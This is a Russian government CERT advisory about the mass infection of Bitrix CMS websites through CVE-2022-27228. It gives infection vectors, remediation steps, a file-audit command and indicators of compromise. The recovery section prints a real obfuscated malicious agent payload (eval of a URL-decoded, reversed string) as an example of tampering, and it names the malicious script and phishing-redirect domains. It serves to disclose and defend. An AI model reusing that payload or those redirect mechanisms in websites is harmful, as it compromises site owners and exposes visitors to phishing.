НКЦКИ
НАЦИОНАЛЬНЫЙ КООРДИНАЦИОННЫЙ ЦЕНТР
ПО КОМПЬЮТЕРНЫМ ИНЦИДЕНТАМ

Веб-сайт: cert.gov.ru
E-mail: threats@cert.gov.ru

Угроза заражения веб-сайтов под управлением Bitrix

ALRT-20220712.1 | 12 июля 2022 г.

Уровень угрозы: КРИТИЧЕСКИЙ

TLP: WHITE

Уязвимое программное обеспечение	CMS Bitrix
Описание	По каналам Национального координационного центра по компьютерным инцидентам получены сведения о происходящем в настоящее время массовом заражении веб-сайтов под управлением Bitrix, реализуемом посредством эксплуатации критической уязвимости в CMS Bitrix (CVE-2022-27228). Ссылки на информационные бюллетени НКЦКИ: • https://safe-surf.ru/upload/ALRT/ALRT-20220303.2.pdf • https://safe-surf.ru/upload/ALRT/ALRT-20220303.2v2.pdf Эксплуатация уязвимости позволяет удаленному злоумышленнику записать произвольные файлы в систему посредством отправки специально сформированных сетевых пакетов. Данная уязвимость присутствует в модуле «vote» CMS Bitrix до версии 22.0.400. На текущий момент выявлено два вектора использования злоумышленником зараженных веб-сайтов: 1. После эксплуатации уязвимости злоумышленник загружает на веб-сайт модифицированный файл (/bitrix/modules/main/include/prolog.php), в который добавляется строка (https://techmestore[.]pw/jquery-ui.js.), вызывающая сторонний JS-скрипт. Скрипт jquery-ui.js проверяет, что переход пользователя на зараженный сайт осуществлен из поисковой системы и впервые за день. Если условия совпадают — открывается URL-адрес otrasoper[.]ga/help/?23211651614614, который осуществляет перенаправление пользователей из российского сегмента сети Интернет на фишинговые сайты различных маркетплейсов. 2. При посещении пользователем зараженного веб-сайта под управлением CMS Bitrix в кэш браузера пользователя внедряется JS-скрипт, который загружается из различных директорий веб-сайта к примеру: • bitrix/js/main/core/core.js?1656612291497726 • bitrix/js/main/core/core.js?1656598434497824 • bitrix/templates/cm_main/js/jquery-1.10.2.min.js

	Данные действия позволяют злоумышленнику перенаправить пользователя на сторонние вредоносные ресурсы. Отметим, что злоумышленник может использовать векторы заражения как по отдельности, так и оба сразу. Напоминаем, что в случае, если эксплуатация уязвимостей повлекла компьютерный инцидент на объекте критической информационной инфраструктуры Российской Федерации, то его владелец (субъект КИИ) в соответствии с Федеральным законом «О безопасности критической информационной инфраструктуры Российской Федерации» от 26.07.2017 № 187-ФЗ обязан уведомить об этом НКЦКИ.
Рекомендации	Провести обновление CMS Bitrix до актуальной версии 22.0.400. Проверить веб-сайт на наличие вредоносного JS-кода. При обнаружении такого кода провести мероприятия по его удалению с ресурса, а также проверить систему на компрометацию. Проверить наличие фактов нелегитимной модификации файлов, посредством команды, которая осуществляет поиск и сортирует измененные и новые файлы за последние 30 дней, кроме последнего дня: find /home/Путь к вашей папке Bitrix/public_html -type f -mtime -30 ! -mtime -1 -printf '%TY-%Tm-%Td %TT %p\n' | sort -r Рекомендации по восстановлению работы веб-сайтов: • восстановить веб-сайт и/или базу данных из резервной копии. • ограничить административные доступы к CMS, а также, в случае наличия, FTP, MySQL. • проверить функции, вызываемые функциями-агентами (/bitrix/admin/agent_list.php), на наличие вредоносного кода. Примером модификации агента может являться: $arAgent["NAME"];eval(urldecode(strrev('b3%92%92%22%73%b6%34%a5%b6%76%34%26%86%a5%85%a5%73%b6%96%d4%03%43%65%b4%46%c6%74%a4%26%e4%74%a4%f6%15%d6%36%67%86%96%36%f6%e4%75%05%57%15%74%a4%07%37%97%b4%07%25%97%f4%07%d4%74%a4%f6%43%75%a5%37%a4%84%46%a7%87%45%16%b6%37%44%d4%93%b6%74%a4%f6%94%33%26%d6%47%44%45%d4%65%c6%45%07%36%d6%26%07%a4%84%46%a7%86%35%05%b6%25%97%f4%07%03%c6%94%d6%24%a7%d4%23%95%75%a5%43%d4%d6%d4%d6%65%44%f4%97%55%d6%95%c6%65%74%f4%97%15%75%e4%23%55%d6%d4%53%15%44%a5%43%d4%74%a5%a6%e4%d6%94%26%65%55%35%c4%93%03%45%44%93%64%a4%f6%55%74%a5%67%e4%75%a5%b6%93%64%e4%23%55%23%36%86%a4%75%05%a6%25%97%f4%07%14%44%b4%e6%53%75%16%

03%a4%33%26%77%65%d6%36%66%a4%33%26%97%a4%85%a5%76%14%84%16%77%93%44%05%22%82%56%46%f6%36%56%46%f5%43%63%56%37%16%26%02%c2%22%07%86%07%e2%f6%c6%96%57%86%f5%e6%96%47%57%07%f2%37%c6%f6%f6%47%f2%87%96%27%47%96%26%f2%22%e2%d5%22%45%f4%f4%25%f5%45%e4%54%d4%55%34%f4%44%22%b5%25%54%65%25%54%35%f5%42%82%37%47%e6%56%47%e6%f6%36%f5%47%57%07%f5%56%c6%96%66%')));

Рекомендации по защите веб-сайтов:

- перевести работу сайта на актуальную версию PHP 7.4.
- обновлять CMS Bitrix до актуальных версий.
- включить проактивную защиту CMS Bitrix: проактивный фильтр (https://dev.1cbitrix.ru/user_help/settings/security/security_filter.php) и контроль активности (https://dev.1c-bitrix.ru/user_help/settings/security/security_stat_activity.php).
- проверить сайт инструментом CMS Bitrix "Сканер безопасности" (/bitrix/admin/security_scanner.php).
- закрыть доступ к файлам на уровне сервера (например, в .htaccess)
  - /bitrix/tools/upload.php
  - /bitrix/tools/mail_entry.php
  - /bitrix/modules/main/include/virtual_file_system.php
  - /bitrix/components/bitrix/sender.mail.editor/ajax.php
  - /bitrix/tools/vote/uf.php
  - /bitrix/tools/html_editor_action.php
  - /bitrix/admin/site_checker.php.

IOC

otrasoper[.]ga/help/?23211651614614

techmestore[.]pw

unasinob[.]cf

core.js?1656612291497726 — d74272539fc1c34fa5db80a168269d319d8c541bb36cbf0e99233cbe7ab9474d

core.js?1656598434497824 — da9c874d43fc94af70bc9895b8154a11aab1118a4b5aefde4c6cee59f617707e

jquery-1.10.2.min.js — 0ba081f546084bd5097aa8a73c75931d5aa1fc4d6e846e53c21f98e6a1509988